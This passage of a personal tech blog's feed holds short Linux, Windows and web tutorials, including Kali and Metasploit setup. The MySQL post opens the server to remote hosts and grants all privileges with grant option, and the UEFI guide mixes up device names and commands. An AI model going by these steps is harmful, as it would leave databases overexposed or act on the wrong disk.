&lt;pre&gt;&lt;code&gt;resize2fs /dev/mmcblk0p2&lt;br /&gt;reboot&lt;br /&gt;df -h # will show you the partitions to make sure it worked&lt;/code&gt;&lt;/pre&gt;</content>
<published>2016-10-31T00:38:00+00:00</published>
<updated>2016-10-31T00:38:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/192'/>
<id>https://wirelessarmy.theproject1.com/192</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Switch Debian 8 from bios to UEFI</title> 
<content type='html'>&lt;p&gt;We will install a Debian ISO on a usb or hard drive. And then convert the bios to UEFI&lt;br /&gt;(This example can also be entirely done in a with Virtualization)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tools you may need:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A USB or cd for putting the OS on it&lt;/li&gt;
&lt;li&gt;and other USB or hard drive as your main installation drive.&lt;/li&gt;
&lt;li&gt;uefi compatible motherboard&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;After writing the iso on a usb and booting from it and install it on a hard drive with the graphical interface.&lt;br /&gt;Because you can&amp;rsquo;t (easily) build uefi if you are not booted from it, we will download and iso from a linux distro that provides iso with uefi already on it(evolve os, manjaro, semplice 6, Slackel,&amp;hellip;) and rewrite on the first usb. Boot from it.&lt;br /&gt;With gparted GUI resize your main boot partition from 243 to 200.&lt;br /&gt;create a fat32 primary partition for 43mb. Give it the &lt;strong&gt;boot&lt;/strong&gt; and &lt;strong&gt;esp&lt;/strong&gt; flag&lt;/p&gt;
&lt;pre&gt;gdisk /dev/sdb&lt;br /&gt;r&lt;br /&gt;f&lt;br /&gt;w&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;and now gdisk -l /dev/sda&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;should give you:&lt;br /&gt;MBR: protective&lt;br /&gt;BSD: not present&lt;br /&gt;APM: not present&lt;br /&gt;GPT: present&lt;/p&gt;
&lt;pre&gt;&lt;br /&gt;Mount your hard drive on /mnt (sda is bootable usb and sdb is your hard drive and it may differ in your case)&lt;br /&gt;mount -t ext4 /dev/sdc5 /mnt&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;or if it is encrypted:&lt;/p&gt;
&lt;pre&gt;&lt;br /&gt;cryptsetup luksOpen /dev/sdb5 sdb5_crypt&lt;br /&gt;mount -t ext4 /dev/mapper/example-root /mnt&lt;br /&gt;mount /dev/sda1 /mnt/boot&lt;br /&gt;mount /dev/sda2 /mnt/boot/efi&lt;br /&gt;for i in /dev/ /dev/pts /proc /sys ; do mount -B $i /mnt/$i ; done&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;get a chroot environment:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;chroot /mnt&lt;br /&gt;type &lt;strong&gt;blkid&lt;/strong&gt; to get the UUID of your fat32 partition&lt;br /&gt;edit /etc/fstab and add the following line with your UUID&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;UUID=94D0-2462 /boot/efi vfat defaults 0 2&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;For internet access inside chroot:&lt;br /&gt;cp /etc/resolv.conf /mnt/etc/resolv.conf&lt;/p&gt;
&lt;div&gt;&lt;br /&gt;apt-get remove grub-pc &amp;amp;&amp;amp; apt-get install grub-efi-amd64&lt;br /&gt;grub-install /dev/sdb &amp;ndash;target=x86_64-efi&lt;br /&gt;update grub&lt;br /&gt;cd /boot/efi/EFI&lt;br /&gt;mkdir boot&lt;br /&gt;cp debian/grubx64.efi boot/bootx64.efi&lt;br /&gt;exit&lt;br /&gt;for i in /sys /proc /dev; do umount /target$i; done&lt;br /&gt;umount /mnt/boot/efi&lt;br /&gt;file /boot/efi/EFI/debian/grubx64.efi&lt;br /&gt;efibootmgr&lt;br /&gt;&lt;br /&gt;and now you should be able to boot to uefi&lt;br /&gt;if you have any question or if you get any other problems, just leave a comment down below and I&#039;ll try to answer it if i can.&lt;/div&gt;</content>
<published>2016-10-31T00:37:39+00:00</published>
<updated>2016-10-31T00:37:39+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/217'/>
<id>https://wirelessarmy.theproject1.com/217</id>
<author><name>admin</name></author>
</entry> <entry>
<title>cd and ls in python command line</title> 
<content type='html'>&lt;p&gt;how to do things like cd and ls in python command line&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to view in what directory you are in&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;os.getcwd()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ls:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;os.listdir(&quot;somedirectory&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;cd:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;os.chdir(&#039;somedirectory&#039;)&lt;/code&gt;&lt;/pre&gt;
</content>
<published>2016-10-10T03:08:00+00:00</published>
<updated>2016-10-10T03:08:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/49'/>
<id>https://wirelessarmy.theproject1.com/49</id>
<author><name>admin</name></author>
</entry> <entry>
<title>make your app auto install on firefox os</title> 
<content type='html'>&lt;p&gt;if you make a web app and you want to it to install automatically on firefox os or firefox browser, first make the manifest.webapp (tutorial at &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest&quot;&gt;developer.mozilla.org&lt;/a&gt;) then just add this several lines to your index.html page&lt;/p&gt;
&lt;pre&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
if ($.browser.mozilla) {
navigator.mozApps.install(location.href + &#039;manifest.webapp&#039;);
}
&amp;lt;/script&amp;gt;&lt;/pre&gt;</content>
<published>2016-10-02T16:10:00+00:00</published>
<updated>2016-10-02T16:10:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/144'/>
<id>https://wirelessarmy.theproject1.com/144</id>
<author><name>admin</name></author>
</entry> <entry>
<title>do after installation</title> 
<content type='html'>&lt;p&gt;do after installing kali linux&lt;/p&gt;
&lt;pre&gt;service postgresql start 
service metasploit start
update-rc.d postgresql enable
update-rc.d metasploit enable
update-rc.d apache2 enable&lt;/pre&gt;
&lt;pre&gt;apt-get update apt-get install php5-gd php-db php5-mysql gimp libapache2-mod-auth-mysql php5-mysql
apt-get install finger libcrypt-passwdmd5-perl pure-ftpd
apt-get install xchat&lt;/pre&gt;
or if want the kde version
&lt;pre&gt;apt-get install kde-standard&lt;/pre&gt;</content>
<published>2016-09-26T21:41:00+00:00</published>
<updated>2016-09-26T21:41:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/90'/>
<id>https://wirelessarmy.theproject1.com/90</id>
<author><name>admin</name></author>
</entry> <entry>
<title>.deb installation error</title> 
<content type='html'>&lt;p&gt;if you get an error saying&lt;/p&gt;
&lt;pre&gt;there is no application installed for debian package files&lt;/pre&gt;
&lt;p&gt;just&lt;/p&gt;
&lt;pre&gt;dpkg -i thefilename.deb&lt;/pre&gt;</content>
<published>2016-09-18T21:49:00+00:00</published>
<updated>2016-09-18T21:49:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/94'/>
<id>https://wirelessarmy.theproject1.com/94</id>
<author><name>admin</name></author>
</entry> <entry>
<title>back up and restore img to sd card</title> 
<content type='html'>&lt;p&gt;if you create a custom os and want to have a backup incase of a problem you can use these commands to backup and restore your .img file for a raspberry or banana pi&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;backup&lt;br /&gt;sudo dd bs=4M if=/dev/sdb | gzip &amp;gt; /root/image`date +%d%m%y`.gz&lt;br /&gt;restore:&lt;br /&gt;sudo gzip -dc /root/image.gz | dd bs=4M of=/dev/sdb&lt;/p&gt;</content>
<published>2016-09-18T14:20:00+00:00</published>
<updated>2016-09-18T14:20:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/194'/>
<id>https://wirelessarmy.theproject1.com/194</id>
<author><name>admin</name></author>
</entry> <entry>
<title>reset your msf pro password</title> 
<content type='html'>first&lt;br&gt;
&lt;pre&gt;sudo ./opt/metasploit/diagnostic_shell&lt;/pre&gt;
then past this line&lt;br&gt;
&lt;pre&gt;/opt/metasploit/apps/pro/ui/script/resetpw&lt;/pre&gt;&lt;br&gt;
it will give you a password. Login with that, then change you password.</content>
<published>2016-08-26T00:23:00+00:00</published>
<updated>2016-08-26T00:23:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/100'/>
<id>https://wirelessarmy.theproject1.com/100</id>
<author><name>admin</name></author>
</entry> <entry>
<title>re-add swap partition</title> 
<content type='html'>&lt;p&gt;if you have linux installed on a virtual machine, sometimes you may want to expand the storage but that means deleteing your swap partition, because they are stock at the end of your main partition in between it the the free space.&lt;/p&gt;
&lt;p&gt;When you delete it and add it back again it will not be detected on boot. we are here to solve that.&lt;/p&gt;
&lt;p&gt;if you run the following command you will see the UUID of the old swap partition:&lt;/p&gt;
&lt;pre&gt;grep swap /etc/fstab &lt;/pre&gt;
&lt;p&gt;this command will the you the UUID of your partitions:&lt;/p&gt;
&lt;pre&gt;blkid -c /dev/null -o list&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;find the one with fs_type swap and copy the UUID and replace with with the one already in the file&lt;strong&gt; /etc/fstab&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;</content>
<published>2016-08-25T00:34:00+00:00</published>
<updated>2016-08-25T00:34:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/197'/>
<id>https://wirelessarmy.theproject1.com/197</id>
<author><name>admin</name></author>
</entry> <entry>
<title>bois version in command line</title> 
<content type='html'>&lt;p&gt;Find Your Computer&amp;rsquo;s BIOS Version From the Command Line&lt;/p&gt;
&lt;pre&gt;wmic bios get smbiosbiosversion&lt;/pre&gt;
&lt;p&gt;if it doesn&#039;t work for you just go to the windows/system32/wbem directory and run the command again&lt;/p&gt;</content>
<published>2016-08-14T20:13:00+00:00</published>
<updated>2016-08-14T20:13:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/148'/>
<id>https://wirelessarmy.theproject1.com/148</id>
<author><name>admin</name></author>
</entry> <entry>
<title>applications</title> 
<content type='html'>&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h2&gt;aFitness&lt;/h2&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;//afitness.theproject1.com&quot;&gt;&lt;img style=&quot;width: 50%; float: left;&quot; src=&quot;../images/apps/afitness400.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt; Our mission is to help you get into the best shape of your life. &lt;br /&gt;We believe that anyone can get healthy and fit with a regular program of exercise and good nutrition. ServicesReady to enjoy better health, higher energy levels, and physical wellness? &lt;br /&gt;Our programs are proven to help people of all ages, sizes, and fitness levels to attain well-being, strength, and relaxation. &lt;br /&gt; You can download the windows phone app over &lt;a href=&quot;http://www.windowsphone.com/s?appid=26bde74d-3b38-4747-98f1-595812241dbb&quot;&gt;here!&lt;/a&gt; or you can visit &lt;a href=&quot;http://afitness.theproject1.com&quot;&gt;this site&lt;/a&gt; for viewing on android or iphone or symbian or black berry or firefox os or ubuntu phone or ...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h2&gt;Our Program&lt;/h2&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Our app is based on experience and studies of PHD neutralizer, fun to work with, and completely professional. Our application features the best information that you need for getting in shape for your next party!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h2&gt;Wonderful design!&lt;/h2&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;img src=&quot;../images/apps/design.jpg&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;You will never get lost when you enter to this application for the first time, like other confusing apps out there. The fluid and simple metro design by Microsoft, will concentrate on your content in stead of some useless chrome design and effects that can make you phone slow down. When you are at a gym there is no need to pass more than a second to learn your new exercise and try it like a professional.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h2&gt;A wise Man said&lt;/h2&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;img id=&quot;me&quot; style=&quot;width: 50%; float: left;&quot; src=&quot;../images/apps/wise.jpg&quot; alt=&quot;&quot; /&gt; Learn big lessons from big people. It may affect your life in ways that you can not even begin to imagine &lt;a href=&quot;http://www.windowsphone.com/en-us/store/app/a-wise-man-said/3bd62bd1-d7fc-48f7-935b-e0d6d3db5dcd&quot;&gt;here&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h2&gt;&lt;a href=&quot;../wirelessarmy.theproject1.com/mobile/genorator/&quot;&gt;Pickup line Genorator&lt;/a&gt;&lt;/h2&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;img style=&quot;width: 50%; float: left;&quot; src=&quot;../images/apps/pickup.png&quot; alt=&quot;&quot; /&gt; OStill going to club and don&#039;t know how to impress those stunning girls? well this app can hook you up for the night! Remember, it&#039;s not because you need it, it&#039;s because you want it. you can download this app &lt;a href=&quot;http://www.windowsphone.com/s?appid=25df741d-517b-458a-824d-301bd393912d&quot;&gt;here&lt;/a&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;h2&gt;&lt;a href=&quot;../mobile/anti/&quot;&gt;Anti-mosquito!&lt;/a&gt;&lt;/h2&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;img style=&quot;width: 50%; float: left;&quot; src=&quot;../images/apps/anti.png&quot; alt=&quot;&quot; /&gt; Tired of having too many mosquitoes wile jugging around you in a forest or mountain? well this application ca produce a sound that more than 10000 mosquitoes does NOT like and the will go away! you can Download this app &lt;a href=&quot;http://www.windowsphone.com/s?appid=d2c3bf10-7769-4055-86a0-768fae938384&quot;&gt;here&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content>
<published>2016-08-13T22:41:00+00:00</published>
<updated>2016-08-13T22:41:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/3'/>
<id>https://wirelessarmy.theproject1.com/3</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Connect to wifi with a usb adapter</title> 
<content type='html'>first you want to make sure that the power that the wifi usb adapter is using is enough for wifi pineapple to power it up or you may want to use a usb hub.&lt;br&gt;
then we will create afile in /etc called wpa.config with the content below:&lt;br&gt;
&lt;pre&gt;network={
ssid=”my essid”
proto=RSN
key_mgmt=WPA-PSK
pairwise=CCMP TKIP
group=CCMP TKIP
psk=”mypass”
}
&lt;/pre&gt;
then you want to edit the file &lt;strong&gt;interfaces&lt;/strong&gt; in /etc/network and replace everything with&lt;br&gt;
&lt;pre&gt;auto lo
iface lo inet loopback

iface eth0 inet dhcp
allow hotplus wlan0
auto wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa.config
&lt;/pre&gt;&lt;br&gt;
then you should&lt;br&gt;
/etc/init.d/networking restart
&lt;br&gt;
and if you are not connected yey just restart.
</content>
<published>2016-08-13T16:40:00+00:00</published>
<updated>2016-08-13T16:40:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/96'/>
<id>https://wirelessarmy.theproject1.com/96</id>
<author><name>admin</name></author>
</entry> <entry>
<title>drupal not working properly with iis</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/MqxxBt8K6d0&quot; width=&quot;450&quot; height=&quot;338&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt; after installation of drupal on your web folder open iis again. click on your local server then application pools find the one that is related to your web server then at right click on advance settings for the &amp;ldquo;Enable 32-bit applications&amp;rdquo; chose true and now it should work just fin&lt;/p&gt;</content>
<published>2016-08-08T19:37:00+00:00</published>
<updated>2016-08-08T19:37:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/141'/>
<id>https://wirelessarmy.theproject1.com/141</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Delete Recovery key from microsoft servers</title> 
<content type='html'>&lt;p&gt;&lt;a href=&quot;https://onedrive.live.com/recoverykey&quot; target=&quot;_blank&quot;&gt;https://onedrive.live.com/recoverykey&lt;/a&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h3&gt;Generate a New Recovery Key:&lt;/h3&gt;
&lt;p&gt;open cmd as admin&lt;/p&gt;
&lt;p&gt;temporarily suspend bitlocker&lt;/p&gt;
&lt;pre&gt;manage-bde -protectors -disable %systemdrive%&lt;/pre&gt;
&lt;p&gt;elete the current recovery key:&lt;/p&gt;
&lt;pre&gt;manage-bde -protectors -delete %systemdrive% -type RecoveryPassword&lt;/pre&gt;
&lt;p&gt;generate a new recovery key:&lt;/p&gt;
&lt;pre&gt;manage-bde -protectors -add %systemdrive% -RecoveryPassword&lt;/pre&gt;
&lt;p&gt;Write down or print out the recovery key displayed after you run this command and keep it in a safe place! &lt;br /&gt;re-enable the BitLocker protection:&lt;/p&gt;
&lt;pre&gt;manage-bde -protectors -enable %systemdrive%&lt;/pre&gt;</content>
<published>2016-08-07T03:20:00+00:00</published>
<updated>2016-08-07T03:20:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/200'/>
<id>https://wirelessarmy.theproject1.com/200</id>
<author><name>admin</name></author>
</entry> <entry>
<title>php7 apache2 on debian</title> 
<content type='html'>&lt;p&gt;So you have heard php7 is super fast and since you are a courious developer you want to try it out.&lt;br /&gt;for this we will use a regular apache2 (not building form source) and mysql. We we build php 7.0.1 form source.&lt;br /&gt; this has beeen tested on both ubuntu and debian based systems.&lt;br /&gt;files for download:&amp;nbsp;&lt;a href=&quot;../images/templates/php7.zip&quot;&gt;php7.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If the php version is newer that 7.0.1, just update &lt;strong&gt;git checkout PHP-7.0.1&lt;/strong&gt;number in the &lt;strong&gt;./build.sh&lt;/strong&gt; file&lt;/p&gt;
&lt;p&gt;before you start you might want to run the following command:&lt;/p&gt;
&lt;p&gt;if you have built apache from source too, you might want to change the profix in build.sh file to /usr/local/apache2/bin/apxs. you can learn how to do that&amp;nbsp;&lt;a href=&quot;177&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;apt-get install apache2 apache2-dev mysql-server mysql-client&lt;/pre&gt;
&lt;pre&gt;cd php-7-debian
./build.sh
./install.sh
/usr/local/php7/bin/php -v&lt;/pre&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;pre&gt;ln -s /usr/local/php7/bin/php /usr/bin/php&lt;/pre&gt;
&lt;p&gt;to be able to do php -v anywhere&lt;br /&gt; Configuration files location:&lt;/p&gt;
&lt;pre&gt;/usr/local/php7/lib/php.ini
/usr/local/php7/etc/php-fpm.conf
/usr/local/php7/etc/php-fpm.d/www.conf
/usr/local/php7/etc/conf.d/modules.ini
/etc/init.d/php7-fpm&lt;/pre&gt;
&lt;p&gt;you may get some errors so try the following:&lt;/p&gt;
&lt;pre&gt;a2dismod mpm_event
a2enmod mpm_prefork rewrite openssl php7&lt;/pre&gt;
&lt;p&gt;add ServerName localhost to &lt;strong&gt;/etc/apache2/apache2.conf&lt;/strong&gt;&lt;br /&gt; if you see php code and its not executed you might want to add&lt;/p&gt;
&lt;pre&gt;RewriteEngine On&lt;br /&gt;RewriteRule (.*\.php)s$ $1 [H=application/x-httpd-php-source]&lt;br /&gt;&amp;lt;FilesMatch \.php$&amp;gt;&lt;br /&gt; SetHandler application/x-httpd-php&lt;br /&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/pre&gt;
&lt;p&gt;to &lt;strong&gt;/etc/apache2/sites-available/000-default.conf&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This was done succesfully on a debian based system so if you have any questions, leave it in the comment section down below.&lt;/p&gt;
&lt;p&gt;every time you might want to do service apache2 restart to see if the changes have worked&lt;/p&gt;
&lt;p&gt;help from&amp;nbsp;&lt;a href=&quot;https://github.com/kasparsd/php-7-debian&quot; target=&quot;_blank&quot;&gt;kasparsd github&lt;/a&gt;&lt;/p&gt;</content>
<published>2016-07-28T17:58:00+00:00</published>
<updated>2016-07-28T17:58:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/172'/>
<id>https://wirelessarmy.theproject1.com/172</id>
<author><name>admin</name></author>
</entry> <entry>
<title>mysql remote connection</title> 
<content type='html'>&lt;p&gt;if you get connection refused from a remote server to mysql you can try this:&lt;/p&gt;
&lt;p&gt;edit&amp;nbsp;/etc/mysql/mysql.conf.d/mysqld.cnf&lt;/p&gt;
&lt;p&gt;and comment out the following line&lt;/p&gt;
&lt;pre&gt;#bind-address = 127.0.0.1&lt;/pre&gt;
&lt;p&gt;then service mysql restart&lt;/p&gt;
&lt;p&gt;if it didn&#039;t work then try:&lt;/p&gt;
&lt;pre class=&quot;lang-sql prettyprint prettyprinted&quot;&gt;&lt;code&gt;&lt;span class=&quot;kwd&quot;&gt;GRANT&lt;/span&gt; &lt;span class=&quot;kwd&quot;&gt;ALL&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; PRIVILEGES &lt;/span&gt;&lt;span class=&quot;kwd&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;pun&quot;&gt;*.*&lt;/span&gt; &lt;span class=&quot;kwd&quot;&gt;TO&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&#039;USERNAME&#039;&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;str&quot;&gt;&#039;1.2.3.4&#039;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; IDENTIFIED &lt;/span&gt;&lt;span class=&quot;kwd&quot;&gt;BY&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&#039;PASSWORD&#039;&lt;/span&gt; &lt;span class=&quot;kwd&quot;&gt;WITH&lt;/span&gt; &lt;span class=&quot;kwd&quot;&gt;GRANT&lt;/span&gt; &lt;span class=&quot;kwd&quot;&gt;OPTION&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;view changes with:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;lang-sql prettyprint prettyprinted&quot;&gt;&lt;code&gt;&lt;span class=&quot;kwd&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;pun&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;kwd&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; information_schema&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;user_privileges &lt;/span&gt;&lt;span class=&quot;kwd&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; grantee &lt;/span&gt;&lt;span class=&quot;kwd&quot;&gt;like&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&quot;&#039;USERNAME&#039;%&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;&lt;span class=&quot;pun&quot;&gt;and then run&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;lang-sql prettyprint prettyprinted&quot;&gt;&lt;code&gt;&lt;span class=&quot;pln&quot;&gt;FLUSH PRIVILEGES&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;or you can use phpmyadmin for it on your local server, go to the mysql database, under user, copy the one for&amp;nbsp;127.0.0.1, then change the ip address to the one that you want to connect from and then&amp;nbsp;&lt;/code&gt;&lt;span class=&quot;pln&quot;&gt;FLUSH PRIVILEGES&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;; again.&lt;/span&gt;&lt;/p&gt;</content>
<published>2016-07-26T15:49:00+00:00</published>
<updated>2016-07-26T15:49:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/187'/>
<id>https://wirelessarmy.theproject1.com/187</id>
<author><name>admin</name></author>
</entry> <entry>
<title>PHP upload size</title> 
<content type='html'>&lt;p&gt;if you have an upload limit for your site or you need to upload a larg sql file with phpmyadmin or you want to upload larg images you can extend it with this command. Just add it to your .htaccess file.&lt;/p&gt;
&lt;pre&gt;php_value upload_max_filesize 42M 
php_value post_max_size 42M&lt;/pre&gt;
&lt;p&gt;or keep it permanent and add it to your php.ini by edit the followings:&lt;/p&gt;
&lt;pre&gt;memory_limit = 42M
upload_max_filesize = 24M
post_max_size = 42M&lt;/pre&gt;</content>
<published>2016-07-26T12:43:00+00:00</published>
<updated>2016-07-26T12:43:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/110'/>
<id>https://wirelessarmy.theproject1.com/110</id>
<author><name>admin</name></author>
</entry> <entry>
<title>how to select all with a click</title> 
<content type='html'>this script will allow you to make the user select all the info in a input, textarea or paragraph
&lt;pre&gt;
&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
    // a function to call when clicked
    function selectText(containerid) {
        if (document.selection) {
            var range = document.body.createTextRange();
            range.moveToElementText(document.getElementById(containerid));
            range.select();
        } else if (window.getSelection) {
            var range = document.createRange();
            range.selectNode(document.getElementById(containerid));
            window.getSelection().addRange(range);
        }
    }
&amp;lt;/script&amp;gt;
&amp;lt;pre id=&quot;selectable&quot; onclick=&quot;selectText(&#039;selectable&#039;)&quot;&amp;gt;some text that the user can select by clicking on it&amp;lt;/pre&amp;gt;
&lt;/pre&gt;</content>
<published>2016-07-26T01:57:00+00:00</published>
<updated>2016-07-26T01:57:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/25'/>
<id>https://wirelessarmy.theproject1.com/25</id>
<author><name>admin</name></author>
</entry> <entry>
<title>rm</title> 
<content type='html'>&lt;p&gt;rm is used to remove file(s) or folder(s)&lt;br&gt;
example:&lt;/p&gt;
&lt;pre&gt;rm text.txt&lt;/pre&gt;
&lt;p&gt;to remove folder&lt;/p&gt;
&lt;pre&gt;rm -r folder&lt;/pre&gt;
&lt;p&gt;if a program is running but you want to delete it any way:&lt;/p&gt;
&lt;pre&gt;rm -f text.txt&lt;/pre&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;pre&gt;rm --force text.txt&lt;/pre&gt;
&lt;p&gt;this will give you a list of what have been done&lt;/p&gt;
&lt;pre&gt;rm -r -v myfolder&lt;/pre&gt;</content>
<published>2016-07-23T22:21:00+00:00</published>
<updated>2016-07-23T22:21:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/122'/>
<id>https://wirelessarmy.theproject1.com/122</id>
<author><name>admin</name></author>
</entry> <entry>
<title>IRC</title> 
<content type='html'>&lt;p&gt;what is irc and how it use it?&lt;br /&gt; irc or Internet Relay Chat is something like yahoo or gtalk chat but it&amp;rsquo;s public and every one can join/view or create it.&lt;br /&gt; there is a irc server(like irc.example.com/482 (ex:irc.freenode.net/8001 ports to use for freenode 6665, 6666, 6667, 8000, 8001, 8002 and ssl= 6697, 7000, 7070 )) and some client applications to use it like xchat.&lt;/p&gt;
&lt;h1&gt;&lt;em&gt;here is some most used comments on a irc channel:&lt;/em&gt;&lt;/h1&gt;
&lt;p&gt;get a nickname:&lt;/p&gt;
&lt;pre&gt;/nick mee&lt;/pre&gt;
&lt;p&gt;using the irc you need to create an account:&lt;/p&gt;
&lt;pre&gt;/msg NickServ REGISTER mypassword youremail@example.com&lt;/pre&gt;
&lt;p&gt;hide your email:&lt;/p&gt;
&lt;pre&gt;/msg NickServ SET HIDEMAIL ON&lt;/pre&gt;
&lt;p&gt;to make your ip hidden ask for a admin to cloak you&lt;br /&gt; sign in again:&lt;/p&gt;
&lt;pre&gt;/msg NickServ IDENTIFY password&lt;/pre&gt;
&lt;p&gt;get info about a channel&lt;/p&gt;
&lt;pre&gt;/msg ChanServ info #channelname&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;create a channel (mostly used for organisation):&lt;/p&gt;
&lt;pre&gt;/join #channelname&lt;/pre&gt;
&lt;p&gt;register your channel:&lt;/p&gt;
&lt;pre&gt;/msg ChanServ register #channelname&lt;/pre&gt;
&lt;p&gt;to chose a topic&lt;/p&gt;
&lt;pre&gt;/msg ChanServ topic #channelname message&lt;/pre&gt;
&lt;p&gt;auto operator:&lt;/p&gt;
&lt;pre&gt;/msg chanserv flags #channelname me +O&lt;/pre&gt;
&lt;p&gt;keeps your channel up when there are 0 people in room&lt;/p&gt;
